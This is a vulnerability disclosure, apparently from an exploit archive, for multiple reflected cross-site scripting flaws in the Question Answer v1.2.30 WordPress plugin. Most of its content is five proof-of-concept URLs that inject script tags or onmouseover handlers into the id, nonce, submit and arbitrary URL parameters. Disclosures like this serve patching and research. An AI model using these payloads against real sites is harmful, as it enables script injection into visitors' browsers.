WordPress Question Answer 1.2.30 Cross Site Scripting

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Question Answer v1.2.30 (WordPress Plugin) - Multiple Cross-Site Scripting Vulnerabilities  
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# Exploit Title: Question Answer v1.2.30 (WordPress Plugin) - Multiple XSS Vulnerabilities  
  
# Date: [10-22-2018]  
  
# Category: Webapps  
  
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# Author: Socket_0x03 (Alvaro J. Gene)  
  
# Email: Socket_0x03 (at) teraexe (dot) com  
  
# Website: www.teraexe.com  
  
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# Software Link: https://wordpress.org/plugins/question-answer  
  
# Plugin: Question Answer  
  
# Version: v1.2.30 (last version)  
  
# Files: qa-profile, my-account, and add-question.  
  
# Parameters: ID, arbitrarily supplied URL, _ajax_linking_nonce, and wp-link-submit.  
  
# Language: This application is available in English language.  
  
# Plugin Description: A WordPress plugin to create questions and answers.  
  
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# Cross-Site Scripting Vulnerabilities:  
  
File: qa-profile. Parameter: ID.  
http://www.website.com/wordpress/index.php/qa-profile/?id=ea64j"%20onmouseover%3dalert(23)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20yhw7f&tab=answers  
  
File: my-account. Name of an arbitrarily supplied URL.  
http://www.website.com/wordpress/index.php/my-account/?sjy9u"><script>alert(23)</script>ol1w6=1  
  
File: add-question Parameter: _ajax_linking_nonce.  
http://www.website.com/wordpress/index.php/add-question/?_ajax_linking_nonce=lbru8"><script>alert(23)</script>bj9c6&wp-link-submit=Add%2bLink  
  
File: add-question Name of an arbitrarily supplied URL.  
http://www.website.com/wordpress/index.php/add-question/?nzvgp"><script>alert(23)</script>go4hd=1  
  
File: add-question Parameter: wp-link-submit.  
http://www.website.com/wordpress/index.php/add-question/?_ajax_linking_nonce=4316224e28&wp-link-submit=ytu1v"><script>alert(23)</script>vev62&_ajax_linking_nonce=4316224e28&wp-link-submit=Add%2bLink&_ajax_linking_nonce=4316224e28&wp-link-submit=Add%2bLink  
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